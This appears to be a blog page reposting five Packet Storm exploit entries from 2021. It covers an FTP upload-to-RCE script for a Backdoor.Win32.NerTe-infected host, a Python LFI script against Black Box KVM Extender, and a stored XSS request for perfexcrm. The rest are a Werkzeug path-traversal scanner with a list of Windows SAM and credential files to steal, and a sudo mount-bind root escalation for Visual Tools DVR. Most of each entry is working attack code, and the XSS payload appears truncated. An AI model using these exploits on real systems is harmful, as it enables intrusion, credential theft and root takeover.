Exploit Collector
Backdoor.Win32.NerTe.781 Authentication Bypass / Code Execution

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Backdoor.Win32.NerTe.781 malware suffers from bypass and code execution vulnerabilities.

MD5 | 63bc825e73892ab57907cff19602f86d

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/776e8bb41adf8bd95865c0b03637d8d7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.781
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP ports 21, 80. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 776e8bb41adf8bd95865c0b03637d8d7
Vuln ID: MVID-2021-0264
Dropped files: nsrv78.exe
Disclosure: 07/03/2021
Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
MKD TEMP
257 'C:\TEMP': directory created.
CWD TEMP
250 CWD command successful. "C:/TEMP/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,195,88).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *

MALWARE_HOST="192.168.18.127"
PORT=50008
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Backdoor.Win32.NerTe.781 / Authentication Bypass RCE")
print("MD5: 776e8bb41adf8bd95865c0b03637d8d7")
print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Black Box Kvm Extender 3.4.31307 Local File Inclusion

https://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png
Black Box Kvm Extender version 3.4.31307 suffers from a local file inclusion vulnerability.

MD5 | 6fe8c1691d468a9bf6c2ebd9e15d6aff

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# Exploit Title: Black Box Kvm Extender 3.4.31307 - Local File Inclusion
# Date: 05.07.2021
# Exploit Author: Ferhat Çil
# Vendor Homepage: http://www.blackbox.com/
# Software Link: https://www.blackbox.com/en-us/products/black-box-brand-products/kvm
# Version: 3.4.31307
# Category: Webapps
# Tested on: Linux
# Description: Any user can read files from the server
# without authentication due to an existing LFI in the following path:
# http://target//cgi-bin/show?page=FilePath

import requests
import sys

if name == 'main':
if len(sys.argv) == 3:
url = sys.argv[1]
payload = url + "/cgi-bin/show?page=../../../../../../" + sys.argv[2]
r = requests.get(payload)
print(r.text)
else:
print("Usage: " + sys.argv[0] + ' http://example.com/ /etc/passwd')


Source:packetstormsecurity.com

Exploit Collector
perfexcrm 1.10 Cross Site Scripting

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
perfexcrm version 1.10 suffers from a persistent cross site scripting vulnerability.

MD5 | 124b43fdb1e5eda79a320ec3a7638e8f

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# Exploit Title: perfexcrm 1.10 - 'State' Stored Cross-site scripting (XSS)
# Date: 05/07/2021
# Exploit Author: Alhasan Abbas (exploit.msf)
# Vendor Homepage: https://www.perfexcrm.com/
# Version: 1.10
# Tested on: windows 10

Vunlerable page: /clients/profile

POC:
----
POST /clients/profile HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------325278703021926100783634528058

Content-Length: 1548

Origin: http://localhost

Connection: close

Referer: http://localhost/clients/profile

Cookie: sp_session=07c611b7b8d391d144a06b39fe55fb91b744a038

Upgrade-Insecure-Requests: 1
-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="profile"
1

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="profile_image"; filename=""

Content-Type: application/octet-stream
-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="firstname"
adfgsg

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="lastname"
fsdgfdg

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="company"
test

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="vat"
1

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="phonenumber"
-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="country"
105

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="city"
asdf

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="address"
asdf

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="zip"
313

-----------------------------325278703021926100783634528058

Content-Disposition: form-data; name="state"
"">
">

-----------------------------325278703021926100783634528058--

then any one open profile page in user the xss its executed


Source:packetstormsecurity.com

Exploit Collector
Pallets Werkzeug 0.15.4 Path Traversal

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png Proof of concept exploit for a path traversal vulnerability in Pallets Werkzeug version 0.15.4.

MD5 | 262f237db7999ab766781c5e99c59463Download #!/usr/bin/env python3
# PoC code by @faisalfs10x [https://github.com/faisalfs10x]

""" $ pip3 install colorama==0.3.3, argparse, requests, urllib3
$ python3 CVE-2019-14322.py -l list_target.txt"
"""
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import requests
from colorama import Fore, Back, Style, init

# Colors
red = '\033[91m'
green = '\033[92m'
white = '\033[97m'
yellow = '\033[93m'
bold = '\033[1m'
end = '\033[0m'

init(autoreset=True)

def banner_motd():
print(Fore.CYAN +Style.BRIGHT +"""

CVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s
""" % (bold, red, white, yellow, white, end))

banner_motd()

# list of sensitive files to grab in windows

# %windir%\repair\sam
# %windir%\System32\config\RegBack\SAM
# %windir%\repair\system
# %windir%\repair\software
# %windir%\repair\security
# %windir%\debug\NetSetup.log (AD domain name, DC name, internal IP, DA account)
# %windir%\iis6.log (5,6 or 7)
# %windir%\system32\logfiles\httperr\httperr1.log
# C:\sysprep.inf
# C:\sysprep\sysprep.inf
# C:\sysprep\sysprep.xml
# %windir%\Panther\Unattended.xml
# C:\inetpub\wwwroot\Web.config
# %windir%\system32\config\AppEvent.Evt (Application log)
# %windir%\system32\config\SecEvent.Evt (Security log)
# %windir%\system32\config\default.sav
# %windir%\system32\config\security.sav
# %windir%\system32\config\software.sav
# %windir%\system32\config\system.sav
# %windir%\system32\inetsrv\config\applicationHost.config
# %windir%\system32\inetsrv\config\schema\ASPNET_schema.xml
# %windir%\System32\drivers\etc\hosts (dns entries)
# %windir%\System32\drivers\etc\networks (network settings)
# %windir%\system32\config\SAM
# TLDR:
# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml
# C:/windows/system32/inetsrv/config/applicationHost.config
# C:/windows/system32/logfiles/httperr/httperr1.log
# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)
# C:/windows/system32/drivers/etc/hosts - (dns entries)
# C:/windows/system32/drivers/etc/networks - (network settings)

def check(url):

# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)
# This script reads c:/windows/win.ini as a proof of concept.
for endpoint in [
'https://{}/base_import/static/c:/windows/win.ini',
#'https://{}/web/static/c:/windows/win.ini',
#'https://{}/base/static/c:/windows/win.ini'
]:
try:

url2 = endpoint.format(url)
resp = requests.get(url2, verify=False, timeout=5)

if 'fonts' and 'files' and 'extensions' in resp.text:
print(Fore.LIGHTGREEN_EX +Style.BRIGHT +" [+] " +url2+ " : vulnerable====[+]")
with open('CVE-2019-14322_result.txt', 'a+') as output:
output.write('{}\n'.format(url2))
output.close()

else:
print(" [-] " +url+ " : not vulnerable")

except KeyboardInterrupt:
exit('User aborted!')
except:
print(" [-] " +url+ " : not vulnerable")
def main(args):

f = open(listfile, "r")
for w in f:
url = w.strip()

check(url)

if __name__ == '__main__':

try:

parser = argparse.ArgumentParser(description='CVE-2019-14322')
parser.add_argument("-l","--targetlist",required=True, help = "target list in file")
args = parser.parse_args()
listfile = args.targetlist

main(args)

except KeyboardInterrupt:
exit('User aborted!') Source:packetstormsecurity.com

Exploit Collector
Visual Tools DVR VX16 4.2.28 Privilege Escalation

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
Visual Tools DVR VX16 version 4.2.28 suffers from a local privilege escalation vulnerability.

MD5 | 5de46b08cc144d6d68dc6d3754aad651

Download
# Exploit Title: Visual Tools DVR VX16 4.2.28 - Local Privilege Escalation
# Date: 2021-07-05
# Exploit Author: Andrea D'Ubaldo
# Vendor Homepage: https://visual-tools.com/
# Version: Visual Tools VX16 v4.2.28.0
# Tested on: VX16 Embedded Linux 2.6.35.4.

#An attacker can perform a system-level (root) local privilege escalation abusing unsafe Sudo configuration.

sudo mount -o bind /bin/sh /bin/mount
sudo mount


Source:packetstormsecurity.com

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